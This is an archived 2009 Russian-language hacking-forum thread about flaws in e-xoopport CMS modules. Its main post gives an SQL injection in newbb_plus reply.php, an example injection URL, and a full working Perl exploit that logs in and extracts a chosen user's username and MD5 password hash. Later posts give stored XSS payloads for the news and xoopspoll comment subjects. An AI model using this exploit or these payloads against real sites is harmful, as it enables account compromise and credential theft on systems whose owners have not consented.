ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

07.02.2009, 20:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
newbb_plus еще один баг.
newbb_plus <== 0.70
Наткнулся на новую багу.
скрипт reply.php
Уязвимость: Не качественная обработка post_id, приводящая к определению $post_id и выполнению Sql инъекции(выполнение sql запроса находится в другом скрипте, который инклудит reply.php).
Эксплуатация:
PHP код:
if (!isset($forum)) {
redirect_header("index.php", 2, _MD_ERRORFORUM);
exit();
} elseif (!isset($topic_id)) {
redirect_header("viewforum.php?forum=$forum", 2, _MD_ERRORTOPIC);
exit();
} elseif (!isset($post_id)) {
redirect_header("viewtopic.php?topic_id=$topic_id&order=$order&viewmode=$viewmode&pid=$pid&forum=$forum", 2, _MD_ERRORPOST);
exit();
} else {
if (is_locked($topic_id)) {
redirect_header("viewtopic.php?topic_id=$topic_id&order=$order&viewmode=$viewmode&pid=$pid&forum=$forum", 2, _MD_TOPICLOCKED);
exit();
}
Определяем $forum, $topic_id и $post_id(Который и будет содержать инъекцию)
Пример:
Код:
http://localhost/modules/newbb_plus/reply.php?forum=1&post_id=-1662+union+select+1,2,3,4,5,6,7,8,user(),10,11,12,13,14,15,16+from+ex_users--&topic_id=397
Эксплойт:
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use Time::HiRes qw(sleep);
############################
# options #
############################
#Опции и переменные
getopt("d:h:i:q:p:t:u:P:F:T");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_T) {
&logo();
exit();
}
if (!$opt_F) {
&logo();
exit();
}
$n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD)
$host=$opt_h;
$forum=$opt_F;
$topic=$opt_T;
$dira2="/";
$dira2=$opt_d if $opt_d;
$uid=1;
$err="mysql_fetch_array()";
$uid=$opt_i if $opt_i;
$zapr='concat(0x3a3a3a,uname,0x3a,pass,0x3a3a3a)';
$prefix='ex_';
$prefix=$opt_P if $opt_P;
$dira=$dira2."/modules/newbb_plus";
$page2="/reply.php?topic_id=".$topic."&forum=".$forum."";
#аутефикационные данные
$user=$opt_u;
$pass=$opt_p;
#############################
#метод посылки. По умолчанию get.
$method='get';
$method=$opt_t if $opt_t;
#############################
# head #
#############################
# Имхо морда
sub logo()
{
print
"\t\t
###########################################################################
############ module newbb forum e-xooport #
############ coddddeeddd by The matrix (antichat.ru) #
###########################################################################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] (default /) #
# -P [db prefix(default ex_)] #
# -i [user id] deafault 1 #
# -q [column(default concat(uname,0x3a,pass)] #
# -u [username] #
# -p [password] #
# -t [method] #
# -F [forum] #
# -T [topic] #
# exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1 -P pref_ #
# -i 2 #
# #
# #
###########################################################################\n\n";
}
#############################
# auth #
#############################
#создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^)
sub auth() {
print" [~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='login';
$page1='user.php';
$answer=$client->post(
"http://".$host.$dira2.$page1,
[
'uname' => $user,
'pass' => $pass,
'op'=> $op
]
) ;
}
#############################
# тестируем печеньки #
#############################
#В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу.
sub test() {
$response = $client->get("http://".$host.$dira2.$page1
);
$ans = $response->content;
if ($ans =~ /edituser/){
print" [+]login complete";
}
else {
print " [-]login failed";
}
}
&logo();
&auth();
&test();
############################
# Сердце эксплойта #
############################
# Создадим удобный сендер и приемщик. понадобится изменять всего две переменные
sub main {
($method,$evil)=@_;
$response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil."");
$ans = $response->content;
$n++;
}
###########################
# отаке!!!!! #
###########################
main($method,'-999+-1111+union+select+1,2,3,4,5,6,7,8,'.$zapr.',10,11,12,13,14,15,16+from+'.$prefix.'users where uid='.$uid.'--');
if ($ans =~ /:::(.*?):::/){
print "\n [+] targer hacked";
print "\n [+] User:password : $1";
print "\n [+] algoritm=md5";
print "\n [+] exploit finished";
}
else {
print"\n [-]sorry exploit failed(prefix incorrect? forum unvulnerable? uid incorrect? topic_id or forum_id incorrect?";
}
# (c) The matrix (antichat.ru) date 7 february 2009
Описание:
-F - Валидное значение forum при ответе на пост
-T - указываем валидное значение topic_id при ответе на пост
-d - дирректория с сайтом ( по умолчанию / )
-h - хост
-u Имя зарегестрированного пользователя
-p Пароль зарегестрированного пользователя.
-P префикс (по умолчанию ex_)
-i id пользователя, у которого мы хотим стянуть пару login : password
Ошибка:
[-] Login - пара login:Пароль не верна. Иногда для эксплуатации требуется авторизация(не всегда), она реализована.
Пример:
зарегистрированный пользователь:lam:
password:blah
url при ответе на пост
Код:
http://localhost/xoop/modules/newbb_plus/reply.php?forum=12&post_id=1&topic_id=31&viewmode=flat&order=0
exploit.pl -h localhost -d /xoop/ -F 12 -T 31 -u lam -p blah
Последний раз редактировалось The matrix; 11.02.2009 в 19:30..
|
|
|

08.02.2009, 01:25
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
xss
module news <== 1.10
И этот модуль не надежный. Находим любую новость. Оставляем к ней комментарий. И в заголовок коммента пишем.
Код:
<script>alert('heck')</script>
В сам коммент пишем чё угодно. Оставляем коммент.
Вылетит аллерт(активная Xss). Конструкцию можно менять, лишь бы в ней не присутствовали слова onerror и javascript.
p.s идеи есть. Мож вскоре что-то посерьёзнее будет.
Последний раз редактировалось The matrix; 11.02.2009 в 19:31..
|
|
|

11.02.2009, 17:46
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
module xoopspoll <== 1.02 ::: XSS
Скрипт: postcomment.php
Выводимые данные поля Subject(переменная $_POST['subject']) не обрабатываются, что дает нам xss.
Пример: postcomment.php
Пишем комментарий, в поле subject пишем <script>alert('hek')</script> В самом комментарии пишем что угодно.
Оставляем комментарий. И видим, что скрипт выполнился.
(действует как активная xss)
Последний раз редактировалось The matrix; 11.02.2009 в 19:32..
|
|
|

11.02.2009, 18:48
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
The matrix
То что ты делаешь, это хорошо, молодец, но у меня просьба: Проставь версии и самой CMS и модулей.
Дело в том, что сейчас актуальная версия 3.1, а то что ты смотрел на e-xoopport.ru, это помоему 2.0, хотя возможно и пропатчена конечно, но в любом случае, на то, что ты выложил хотелось бы видеть версии. Сам понимаешь 2.0 достаточно старая, а на 3-ей у меня что-то не идут твои баги
|
|
|

11.02.2009, 19:34
|
|
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме: 1744345
Репутация:
573
|
|
Сообщение от jokester
The matrix
То что ты делаешь, это хорошо, молодец, но у меня просьба: Проставь версии и самой CMS и модулей.
Дело в том, что сейчас актуальная версия 3.1, а то что ты смотрел на e-xoopport.ru, это помоему 2.0, хотя возможно и пропатчена конечно, но в любом случае, на то, что ты выложил хотелось бы видеть версии. Сам понимаешь 2.0 достаточно старая, а на 3-ей у меня что-то не идут твои баги
Спс за замечание.
Указал версию движка, которого тестил. А также версии тех модулей, которые имеют больше одной версии.
Вообще e-xoopport(v 2.0) представлен, скорее ввиде сборки модулей, нежели обычного, независимого движка. Я и рассматривал скрипты движка и модули установленные по умолчанию на e-xoopport v 2.0.
На это и было расчитно(лом самого e-xoopport 2.0 а не компонентов) На паблик багтрэках есть эксплойты под более новые версии некоторых компонентов(я нашел 2 эксплойта под 2 компонента, которые использует e-xoopport). По крайней мере один из них работает вполне исправно. Но я тут выкладываю только то, что нашел я, так как кому надо, тот сам может может глянуть эксплойты на паблик багтрэках.
Последний раз редактировалось The matrix; 12.02.2009 в 00:23..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|